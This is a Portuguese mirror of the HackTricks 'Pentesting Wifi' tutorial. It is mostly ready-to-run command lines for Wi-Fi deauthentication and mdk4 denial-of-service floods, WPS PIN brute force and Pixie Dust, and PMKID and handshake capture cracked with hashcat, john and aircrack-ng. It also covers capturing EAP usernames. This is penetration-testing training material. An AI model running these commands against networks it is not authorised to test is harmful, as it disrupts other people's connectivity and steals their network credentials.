mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 01:24:50 +00:00
751 lines
52 KiB
Markdown
751 lines
52 KiB
Markdown
# Pentesting Wifi
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo do [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Junte-se ao servidor do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
||
|
||
**Insights de Hacking**\
|
||
Interaja com conteúdos que exploram a emoção e os desafios do hacking
|
||
|
||
**Notícias de Hacking em Tempo Real**\
|
||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||
|
||
**Últimos Anúncios**\
|
||
Fique informado sobre os mais novos bug bounties lançados e atualizações cruciais da plataforma
|
||
|
||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje mesmo!
|
||
|
||
## Comandos básicos de Wifi
|
||
```bash
|
||
ip link show #List available interfaces
|
||
iwconfig #List available interfaces
|
||
airmon-ng check kill #Kill annoying processes
|
||
airmon-ng start wlan0 #Monitor mode
|
||
airmon-ng stop wlan0mon #Managed mode
|
||
airodump-ng wlan0mon #Scan (default 2.4Ghz)
|
||
airodump-ng wlan0mon --band a #Scan 5Ghz
|
||
iwconfig wlan0 mode monitor #Put in mode monitor
|
||
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
|
||
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
|
||
```
|
||
## Ferramentas
|
||
|
||
### EAPHammer
|
||
```
|
||
git clone https://github.com/s0lst1c3/eaphammer.git
|
||
./kali-setup
|
||
```
|
||
### Airgeddon
|
||
```bash
|
||
mv `which dhcpd` `which dhcpd`.old
|
||
apt install isc-dhcp-server
|
||
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
|
||
```
|
||
**Execute o airgeddon com docker**
|
||
```bash
|
||
docker run \
|
||
--rm \
|
||
-ti \
|
||
--name airgeddon \
|
||
--net=host \
|
||
--privileged \
|
||
-p 3000:3000 \
|
||
-v /tmp:/io \
|
||
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
|
||
v1s1t0r1sh3r3/airgeddon
|
||
```
|
||
### wifiphisher
|
||
|
||
Pode realizar ataques Evil Twin, KARMA e Known Beacons e, em seguida, usar um template de phishing para conseguir obter a senha real da rede ou capturar credenciais de redes sociais.
|
||
```bash
|
||
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
|
||
cd wifiphisher # Switch to tool's directory
|
||
sudo python setup.py install # Install any dependencies
|
||
```
|
||
### [Wifite2](https://github.com/derv82/wifite2)
|
||
|
||
Esta ferramenta automatiza ataques **WPS/WEP/WPA-PSK**. Ela automaticamente:
|
||
|
||
* Configura a interface em modo monitor
|
||
* Escaneia por redes possíveis - E permite que você selecione a(s) vítima(s)
|
||
* Se WEP - Inicia ataques WEP
|
||
* Se WPA-PSK
|
||
* Se WPS: Ataque Pixie dust e o ataque de força bruta (cuidado, o ataque de força bruta pode demorar muito). Note que não tenta PIN nulo ou PINs de banco de dados/gerados.
|
||
* Tenta capturar o PMKID do AP para quebrá-lo
|
||
* Tenta desautenticar clientes do AP para capturar um handshake
|
||
* Se PMKID ou Handshake, tenta força bruta usando as 5000 senhas mais comuns.
|
||
|
||
## Resumo dos Ataques
|
||
|
||
* **DoS**
|
||
* Desautenticação/desassociação -- Desconecta todos (ou um ESSID/Cliente específico)
|
||
* APs falsos aleatórios -- Esconde redes, possível travamento de scanners
|
||
* Sobrecarga no AP -- Tenta derrubar o AP (geralmente não muito útil)
|
||
* WIDS -- Interage com o IDS
|
||
* TKIP, EAPOL -- Alguns ataques específicos para DoS em alguns APs
|
||
* **Cracking**
|
||
* Quebrar **WEP** (várias ferramentas e métodos)
|
||
* **WPA-PSK**
|
||
* **WPS** pin "Força Bruta"
|
||
* **WPA PMKID** força bruta
|
||
* \[DoS +] **WPA handshake** captura + Cracking
|
||
* **WPA-MGT**
|
||
* **Captura de nome de usuário**
|
||
* **Força Bruta** Credenciais
|
||
* **Evil Twin** (com ou sem DoS)
|
||
* **Open** Evil Twin \[+ DoS] -- Útil para capturar credenciais de portal cativo e/ou realizar ataques na LAN
|
||
* **WPA-PSK** Evil Twin -- Útil para ataques na rede se você conhece a senha
|
||
* **WPA-MGT** -- Útil para capturar credenciais empresariais
|
||
* **KARMA, MANA**, **Loud MANA**, **Known beacon**
|
||
* **+ Open** -- Útil para capturar credenciais de portal cativo e/ou realizar ataques na LAN
|
||
* **+ WPA** -- Útil para capturar handshakes WPA
|
||
|
||
## DOS
|
||
|
||
### Pacotes de Desautenticação
|
||
|
||
A maneira mais comum de realizar esse tipo de ataque é com pacotes de **desautenticação**. Estes são um tipo de quadro de "gerenciamento" responsável por desconectar um dispositivo de um ponto de acesso. Forjar esses pacotes é a chave para [hackear muitas redes Wi-Fi](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/), pois você pode forçar a desconexão de qualquer cliente da rede a qualquer momento. A facilidade com que isso pode ser feito é um tanto assustadora e é frequentemente feita como parte da coleta de um handshake WPA para quebrar.
|
||
|
||
Além de momentaneamente usar essa desconexão para colher um handshake para quebrar, você também pode simplesmente deixar esses desauts continuarem, o que tem o efeito de bombardear o cliente com pacotes de desautenticação aparentemente vindos da rede à qual estão conectados. Como esses quadros não são criptografados, muitos programas tiram vantagem dos quadros de gerenciamento forjando-os e enviando-os para um ou todos os dispositivos em uma rede.\
|
||
**Descrição de** [**aqui**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||
|
||
**Desautenticação usando Aireplay-ng**
|
||
```
|
||
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
||
```
|
||
* \-0 significa desautenticação
|
||
* 1 é o número de desautenticações a enviar (você pode enviar várias se desejar); 0 significa enviá-las continuamente
|
||
* \-a 00:14:6C:7E:40:80 é o endereço MAC do ponto de acesso
|
||
* \-c 00:0F:B5:34:30:30 é o endereço MAC do cliente a desautenticar; se isso for omitido, então a desautenticação broadcast é enviada (nem sempre funciona)
|
||
* ath0 é o nome da interface
|
||
|
||
### Pacotes de Desassociação
|
||
|
||
Pacotes de desassociação são outro tipo de quadro de gerenciamento que é usado para desconectar um nó (significando qualquer dispositivo como um laptop ou celular) de um ponto de acesso próximo. A diferença entre quadros de desautenticação e desassociação é principalmente a maneira como são usados.
|
||
|
||
Um AP que deseja desconectar um dispositivo não autorizado enviaria um pacote de desautenticação para informar o dispositivo que ele foi desconectado da rede, enquanto um pacote de desassociação é usado para desconectar quaisquer nós quando o AP está desligando, reiniciando ou deixando a área.
|
||
|
||
**Descrição retirada** [**daqui**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||
|
||
**Este ataque pode ser realizado pelo mdk4(modo "d"):**
|
||
```bash
|
||
# -c <channel>
|
||
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
|
||
# -e WifiName is the name of the wifi
|
||
# -B BSSID is the BSSID of the AP
|
||
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
|
||
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
||
```
|
||
### **Mais ataques DOS por mdk4**
|
||
|
||
**De** [**aqui**](https://en.kali.tools/?p=864)**.**
|
||
|
||
**MODO DE ATAQUE b: Inundação de Beacons**
|
||
|
||
Envia quadros beacon para exibir APs falsos nos clientes. Isso pode, às vezes, travar scanners de rede e até drivers!
|
||
```bash
|
||
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
||
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
||
# -m use real BSSIDS
|
||
# All the parameters are optional and you could load ESSIDs from a file
|
||
mdk4 wlan0mon b -a -w nta -m
|
||
```
|
||
**MODO DE ATAQUE a: Negação de Serviço de Autenticação**
|
||
|
||
Envia quadros de autenticação para todos os APs encontrados no alcance. Um número excessivo de clientes pode congelar ou reiniciar vários APs.
|
||
```bash
|
||
# -a BSSID send random data from random clients to try the DoS
|
||
# -i BSSID capture and repeat pakets from authenticated clients
|
||
# -m use real MACs
|
||
# only -a or -i can be used
|
||
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
||
```
|
||
**MODO DE ATAQUE p: Sondagem de SSID e Bruteforce**
|
||
|
||
Sonda APs e verifica por respostas, útil para checar se o SSID foi corretamente desmascarado e se o AP está dentro do seu alcance de envio. **Bruteforce de SSIDs ocultos** com ou sem uma wordlist também está disponível.
|
||
|
||
**MODO DE ATAQUE m: Exploração de Contramedidas Michael**
|
||
|
||
Envia pacotes aleatórios ou reinjeta duplicatas em outra fila QoS para provocar Contramedidas Michael em **APs TKIP**. O AP então será desligado por um minuto inteiro, tornando isso um **DoS** efetivo.
|
||
```bash
|
||
# -t <BSSID> of a TKIP AP
|
||
# -j use inteligent replay to create the DoS
|
||
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
||
```
|
||
**MODO DE ATAQUE e: Injeção de Pacotes EAPOL Start e Logoff**
|
||
|
||
Inunda um AP com quadros **EAPOL** Start para mantê-lo ocupado com **sessões falsas** e, assim, impede que ele lide com clientes legítimos. Ou desconecta clientes **injetando falsas mensagens** de Logoff **EAPOL**.
|
||
```bash
|
||
# Use Logoff messages to kick clients
|
||
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||
```
|
||
**MODO DE ATAQUE s: Ataques para redes mesh IEEE 802.11s**
|
||
|
||
Vários ataques ao gerenciamento de links e roteamento em redes mesh. Inunde vizinhos e rotas, crie buracos negros e desvie o tráfego!
|
||
|
||
**MODO DE ATAQUE w: Confusão WIDS**
|
||
|
||
Confunda/Abuse de Sistemas de Detecção e Prevenção de Intrusões conectando clientes a múltiplos nós WDS ou APs falsos e maliciosos.
|
||
```bash
|
||
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
||
mkd4 -e <SSID> -c <channel> [-z]
|
||
```
|
||
**MODO DE ATAQUE f: Packet Fuzzer**
|
||
|
||
Um packet fuzzer simples com múltiplas fontes de pacotes e um bom conjunto de modificadores. Tenha cuidado!
|
||
|
||
### **Airgeddon**
|
||
|
||
_**Airgeddon**_ oferece a maioria dos ataques propostos nos comentários anteriores:
|
||
|
||
![](<../../.gitbook/assets/image (126).png>)
|
||
|
||
## WPS
|
||
|
||
WPS significa Wi-Fi Protected Setup. É um padrão de segurança de rede sem fio que tenta tornar as conexões entre um roteador e dispositivos sem fio mais rápidas e fáceis. **WPS funciona apenas para redes sem fio que usam uma senha** criptografada com os protocolos de segurança **WPA** Personal ou **WPA2** Personal. WPS não funciona em redes sem fio que estão usando a segurança WEP obsoleta, que pode ser facilmente quebrada por qualquer hacker com um conjunto básico de ferramentas e habilidades. (De [aqui](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup))
|
||
|
||
WPS usa um PIN de 8 dígitos para permitir que um usuário se conecte à rede, mas primeiro é verificado os primeiros 4 números e, se corretos, então é verificado os segundos 4 números. Assim, é possível fazer Brute-Force na primeira metade e depois na segunda metade (apenas 11000 possibilidades).
|
||
|
||
### WPS Bruteforce
|
||
|
||
Existem 2 ferramentas principais para realizar essa ação: Reaver e Bully.
|
||
|
||
* **Reaver** foi projetado para ser um ataque robusto e prático contra WPS, e foi testado contra uma grande variedade de pontos de acesso e implementações de WPS.
|
||
* **Bully** é uma **nova implementação** do ataque de brute force WPS, escrita em C. Tem várias vantagens sobre o código original do reaver: menos dependências, melhor desempenho de memória e CPU, tratamento correto de endianness e um conjunto mais robusto de opções.
|
||
|
||
Este ataque tira proveito de uma **fraqueza no código PIN WPS de oito dígitos**; por causa desse problema, o protocolo **divulga informações sobre os primeiros quatro dígitos do PIN**, e o **último** dígito funciona como um **checksum**, o que facilita o brute force no AP WPS.\
|
||
Note que alguns dispositivos incluem **proteções contra brute-force**, que geralmente **bloqueiam endereços MAC** que tentam atacar repetidamente. Nesse caso, a complexidade deste ataque aumenta, pois você teria que **rotacionar endereços MAC** enquanto testa os PINs.
|
||
|
||
Se o código WPS válido for encontrado, tanto Bully quanto Reaver o usarão para descobrir o PSK WPA/WPA2 usado para proteger a rede, então você poderá se conectar sempre que precisar.
|
||
```bash
|
||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
|
||
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||
```
|
||
**Smart Brute force**
|
||
|
||
Em vez de começar tentando todos os PINs possíveis, você deve verificar se há **PINs descobertos para o AP que você está atacando** (dependendo do MAC do fabricante) e os **PINs gerados pelo software PIN**.
|
||
|
||
* O banco de dados de PINs conhecidos é feito para Access Points de certos fabricantes para os quais é sabido que eles usam os mesmos WPS PINs. Este banco de dados contém os três primeiros octetos de endereços MAC e uma lista de PINs correspondentes que são muito prováveis para esse fabricante.
|
||
* Existem vários algoritmos para gerar WPS PINs. Por exemplo, ComputePIN e EasyBox usam o endereço MAC do Access Point em seus cálculos. Mas o algoritmo Arcadyan também requer um ID do dispositivo.
|
||
|
||
### Ataque WPS Pixie Dust
|
||
|
||
Dominique Bongard descobriu que alguns APs têm formas fracas de gerar **nonces** (conhecidos como **E-S1** e **E-S2**) que deveriam ser secretos. Se conseguirmos descobrir quais são esses nonces, podemos facilmente encontrar o WPS PIN de um AP, já que o AP deve nos fornecer em um hash para provar que também conhece o PIN, e o cliente não está se conectando a um AP falso. Esses E-S1 e E-S2 são essencialmente as "chaves para destrancar a caixa" contendo o WPS pin. Mais informações aqui: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
|
||
|
||
Basicamente, algumas implementações falharam no uso de chaves aleatórias para criptografar as 2 partes do PIN (já que ele é decomposto em 2 partes durante a comunicação de autenticação e enviado ao cliente), então um ataque offline poderia ser usado para forçar bruscamente o PIN válido.
|
||
```
|
||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||
```
|
||
### Ataque Null Pin
|
||
|
||
Algumas implementações muito ruins permitiam a conexão com o PIN Nulo (também muito estranho). O Reaver pode testar isso (o Bully não pode).
|
||
```
|
||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
||
```
|
||
### Airgeddon
|
||
|
||
Todos os ataques WPS propostos podem ser facilmente realizados usando _**airgeddon.**_
|
||
|
||
![](<../../.gitbook/assets/image (124).png>)
|
||
|
||
* 5 e 6 permitem que você tente **seu PIN personalizado** (se você tiver algum)
|
||
* 7 e 8 realizam o **ataque Pixie Dust**
|
||
* 13 permite que você teste o **PIN NULL**
|
||
* 11 e 12 irão **recolher os PINs relacionados ao AP selecionado de bancos de dados disponíveis** e **gerar** possíveis **PINs** usando: ComputePIN, EasyBox e opcionalmente Arcadyan (recomendado, por que não?)
|
||
* 9 e 10 testarão **todos os PINs possíveis**
|
||
|
||
## **WEP**
|
||
|
||
Tão quebrado e desaparecido que não vou falar sobre isso. Apenas saiba que _**airgeddon**_ tem uma opção WEP chamada "All-in-One" para atacar esse tipo de proteção. Mais ferramentas oferecem opções semelhantes.
|
||
|
||
![](<../../.gitbook/assets/image (125).png>)
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||
|
||
**Insights de Hacking**\
|
||
Interaja com conteúdo que explora a emoção e os desafios do hacking
|
||
|
||
**Notícias de Hacking em Tempo Real**\
|
||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||
|
||
**Últimos Anúncios**\
|
||
Fique informado com os mais novos programas de recompensa por bugs lançados e atualizações cruciais da plataforma
|
||
|
||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os principais hackers hoje!
|
||
|
||
## WPA/WPA2 PSK
|
||
|
||
### PMKID
|
||
|
||
Em 2018, os autores do hashcat [divulgaram](https://hashcat.net/forum/thread-7717.html) um novo tipo de ataque que não depende apenas **de um único pacote**, mas também não requer que clientes estejam conectados ao nosso AP alvo, apenas a comunicação entre o atacante e o AP.
|
||
|
||
Acontece que **muitos** roteadores modernos anexam um **campo opcional** no final do **primeiro quadro EAPOL** enviado pelo próprio AP quando alguém está se associando, o chamado `Robust Security Network`, que inclui algo chamado `PMKID`
|
||
|
||
Como explicado no post original, o **PMKID** é derivado usando dados que são conhecidos por nós:
|
||
```
|
||
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
||
```
|
||
**Uma vez que a string "PMK Name" é constante, sabemos tanto o BSSID do AP quanto da estação e o `PMK` é o mesmo obtido de um handshake completo de 4 vias**, isso é tudo que o hashcat precisa para decifrar o PSK e recuperar a senha!
|
||
Descrição obtida [aqui](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/).
|
||
|
||
Para **coletar** essas informações e **forçar bruscamente** localmente a senha, você pode fazer:
|
||
```bash
|
||
airmon-ng check kill
|
||
airmon-ng start wlan0
|
||
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
|
||
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
|
||
```
|
||
|
||
```bash
|
||
#You can also obtains PMKIDs using eaphammer
|
||
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
|
||
```
|
||
Os **PMKIDs capturados** serão exibidos no **console** e também **salvos** dentro de \_**/tmp/attack.pcap**\_
|
||
|
||
Agora, converta a captura para o formato **hashcat/john** e quebre-a:
|
||
```bash
|
||
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
||
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
||
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
||
```
|
||
Observe que o formato de um hash correto contém **4 partes**, como: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\
|
||
\_\_Se o seu contém **apenas** **3 partes**, então, ele é **inválido** (a captura do PMKID não foi válida).
|
||
|
||
Note que `hcxdumptool` **também captura handshakes** (algo assim aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Você pode **transformar** os **handshakes** para o formato **hashcat**/**john** usando `cap2hccapx`
|
||
```bash
|
||
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
|
||
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
|
||
hccap2john pmkid.hccapx > handshake.john
|
||
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
||
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
||
```
|
||
_Percebi que alguns handshakes capturados com esta ferramenta não puderam ser decifrados mesmo sabendo a senha correta. Eu recomendaria capturar handshakes também pelo método tradicional se possível, ou capturar vários deles usando esta ferramenta._
|
||
|
||
### Captura de Handshake
|
||
|
||
Uma maneira de atacar redes **WPA/WPA2** é capturar um **handshake** e tentar **decifrar** a senha usada **offline**. Para fazer isso, você precisa encontrar o **BSSID** e o **canal** da rede **vítima**, e um **cliente** que esteja conectado à rede.\
|
||
Uma vez que você tenha essas informações, você deve começar a **escutar** toda a comunicação desse **BSSID** naquele **canal**, porque, com sorte, o handshake será enviado lá:
|
||
```bash
|
||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||
```
|
||
Agora você precisa **desautenticar** o **cliente** por alguns segundos para que ele se autentique automaticamente novamente ao AP (por favor, leia a parte de DoS para encontrar várias maneiras de desautenticar um cliente):
|
||
```bash
|
||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
|
||
```
|
||
_Note que, como o cliente foi desautenticado, ele pode tentar se conectar a um AP diferente ou, em outros casos, a uma rede diferente._
|
||
|
||
Uma vez que no `airodump-ng` aparecer alguma informação de handshake, isso significa que o handshake foi capturado e você pode parar de escutar:
|
||
|
||
![](<../../.gitbook/assets/image (172) (1).png>)
|
||
|
||
Uma vez que o handshake é capturado, você pode **crackear** com `aircrack-ng`:
|
||
```
|
||
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
|
||
```
|
||
### Verificar se o handshake está no arquivo
|
||
|
||
**aircrack**
|
||
```bash
|
||
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
|
||
```
|
||
**tshark**
|
||
```bash
|
||
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
|
||
```
|
||
[**cowpatty**](https://github.com/roobixx/cowpatty)
|
||
```
|
||
cowpatty -r psk-01.cap -s "ESSID" -f -
|
||
```
|
||
_Se esta ferramenta encontrar um handshake incompleto de um ESSID antes do completo, ela não detectará o válido._
|
||
|
||
**pyrit**
|
||
```bash
|
||
apt-get install pyrit #Not working for newer versions of kali
|
||
pyrit -r psk-01.cap analyze
|
||
```
|
||
## **WPA Enterprise (MGT)**
|
||
|
||
**É** importante falar sobre os **diferentes métodos de autenticação** que podem ser usados por uma Wifi empresarial. Para este tipo de Wifis, você provavelmente encontrará em `airodump-ng` algo assim:
|
||
```
|
||
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
||
```
|
||
**EAP** (Protocolo de Autenticação Extensível) é a **estrutura** da **comunicação de autenticação**, em cima disso, um **algoritmo de autenticação** é usado pelo servidor para autenticar o **cliente** (**supplicant**) e em alguns casos pelo cliente para autenticar o servidor.
|
||
Principais algoritmos de autenticação usados neste caso:
|
||
|
||
* **EAP-GTC:** É um método EAP para suportar o uso de tokens de hardware e senhas de uso único com EAP-PEAP. Sua implementação é semelhante ao MSCHAPv2, mas não usa um desafio entre pares. Em vez disso, as senhas são enviadas ao ponto de acesso em **texto puro** (muito interessante para ataques de downgrade).
|
||
* **EAP-MD-5 (Message Digest)**: O cliente envia o hash MD5 da senha. **Não recomendado**: Vulnerável a ataques de dicionário, sem autenticação do servidor e sem forma de gerar chaves de privacidade equivalentes a fio (WEP) por sessão.
|
||
* **EAP-TLS (Transport Layer Security)**: Baseia-se em **certificados do lado do cliente e do servidor** para realizar a autenticação e pode ser usado para gerar dinamicamente chaves WEP baseadas no usuário e na sessão para proteger comunicações subsequentes.
|
||
* **EAP-TTLS (Tunneled Transport Layer Security)**: **Autenticação mútua** do cliente e da rede através de um canal criptografado (ou túnel), bem como um meio para derivar chaves WEP dinâmicas, por usuário e por sessão. Ao contrário do EAP-TLS, **o EAP-TTLS requer apenas certificados do lado do servidor (o cliente usará credenciais)**.
|
||
* **PEAP (Protocolo de Autenticação Extensível Protegido)**: PEAP é como o protocolo **EAP** mas criando um **túnel TLS** para proteger a comunicação. Então, protocolos de autenticação fracos podem ser usados em cima do EAP, pois serão protegidos pelo túnel.
|
||
* **PEAP-MSCHAPv2**: Isso também é conhecido apenas como **PEAP** porque é amplamente adotado. Isso é apenas o desafio/resposta vulnerável chamado MSCHAPv2 em cima do PEAP (é protegido pelo túnel TLS).
|
||
* **PEAP-EAP-TLS ou apenas PEAP-TLS**: É muito semelhante ao **EAP-TLS** mas um túnel TLS é criado antes da troca de certificados.
|
||
|
||
Você pode encontrar mais informações sobre esses métodos de autenticação [aqui](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) e [aqui](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
|
||
|
||
### Captura de Nome de Usuário
|
||
|
||
Lendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) parece que se você está usando **EAP**, as **mensagens "Identity"** devem ser **suportadas**, e o **nome de usuário** será enviado em **claro** nas mensagens **"Response Identity"**.
|
||
|
||
Mesmo usando um dos métodos de autenticação mais seguros: **PEAP-EAP-TLS**, é possível **capturar o nome de usuário enviado no protocolo EAP**. Para fazer isso, **capture uma comunicação de autenticação** (inicie `airodump-ng` dentro de um canal e `wireshark` na mesma interface) e filtre os pacotes por `eapol`.\
|
||
Dentro do pacote "**Response, Identity**", o **nome de usuário** do cliente aparecerá.
|
||
|
||
![](<../../.gitbook/assets/image (150).png>)
|
||
|
||
### Identidades Anônimas
|
||
|
||
(Informações retiradas de [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm))
|
||
|
||
Tanto **EAP-PEAP quanto EAP-TTLS suportam ocultação de identidade**. Em um ambiente WiFi, o ponto de acesso (AP) geralmente gera uma solicitação de Identidade EAP como parte do processo de associação. Para preservar o anonimato, o cliente EAP no sistema do usuário pode responder apenas com informações suficientes para permitir que o primeiro servidor RADIUS processe a solicitação, conforme mostrado nos seguintes exemplos.
|
||
|
||
* _**EAP-Identity = anonymous**_
|
||
|
||
> Neste exemplo, todos os usuários compartilharão o pseudo-nome de usuário “anonymous”. O primeiro servidor RADIUS é um servidor EAP-PEAP ou EAP-TTLS que conduz o lado do servidor do protocolo PEAP ou TTLS. O tipo de autenticação interna (protegida) será então tratado localmente ou encaminhado para um servidor RADIUS remoto (de origem).
|
||
|
||
* _**EAP-Identity = anonymous@realm_x**_
|
||
|
||
> Neste exemplo, usuários pertencentes a diferentes reinos ocultam sua própria identidade, mas indicam a qual reino pertencem para que o primeiro servidor RADIUS possa encaminhar as solicitações EAP-PEAP ou EAP-TTLS para servidores RADIUS em seus reinos de origem, que atuarão como o servidor PEAP ou TTLS. O primeiro servidor atua puramente como um nó de retransmissão RADIUS.
|
||
>
|
||
> Alternativamente, o primeiro servidor pode atuar como o servidor EAP-PEAP ou EAP-TTLS e processar o método de autenticação protegido ou encaminhá-lo para outro servidor. Esta opção pode ser usada para configurar diferentes políticas para diferentes reinos.
|
||
|
||
No EAP-PEAP, uma vez que o servidor PEAP e o cliente PEAP estabelecem o túnel TLS, o servidor PEAP gera uma solicitação de Identidade EAP e a transmite pelo túnel TLS. O cliente responde a esta segunda solicitação de Identidade EAP enviando uma resposta de Identidade EAP contendo a verdadeira identidade do usuário pelo túnel criptografado. Isso impede que qualquer pessoa que esteja interceptando o tráfego 802.11 descubra a verdadeira identidade do usuário.
|
||
|
||
O EAP-TTLS funciona de maneira um pouco diferente. Com o EAP-TTLS, o cliente normalmente se autentica via PAP ou CHAP protegido pelo túnel TLS. Neste caso, o cliente incluirá um atributo User-Name e um atributo Password ou CHAP-Password na primeira mensagem TLS enviada após o estabelecimento do túnel.
|
||
|
||
Com qualquer um dos protocolos, o servidor PEAP/TTLS aprende a verdadeira identidade do usuário uma vez que o túnel TLS tenha sido estabelecido. A verdadeira identidade pode ser na forma _**user@realm**_ ou simplesmente _**user**_. Se o servidor PEAP/TTLS também estiver autenticando o _**usuário**_, ele agora conhece a identidade do usuário e prossegue com o método de autenticação sendo protegido pelo túnel TLS. Alternativamente, o servidor PEAP/TTLS pode encaminhar uma nova solicitação RADIUS para o servidor RADIUS de origem do usuário. Esta nova solicitação RADIUS tem o protocolo PEAP ou TTLS removido. Se o método de autenticação protegido for EAP, as mensagens EAP internas são transmitidas para o servidor RADIUS de origem sem o invólucro EAP-PEAP ou EAP-TTLS. O atributo User-Name da mensagem RADIUS de saída contém a verdadeira identidade do usuário – não a identidade anônima do atributo User-Name da solicitação RADIUS de entrada. Se o método de autenticação protegido for PAP ou CHAP (suportado apenas pelo TTLS), o User-Name e outros atributos de autenticação recuperados do payload TLS são colocados na mensagem RADIUS de saída no lugar do User-Name anônimo e dos atributos TTLS EAP-Message incluídos na solicitação RADIUS de entrada.
|
||
|
||
### EAP-Bruteforce (password spray)
|
||
|
||
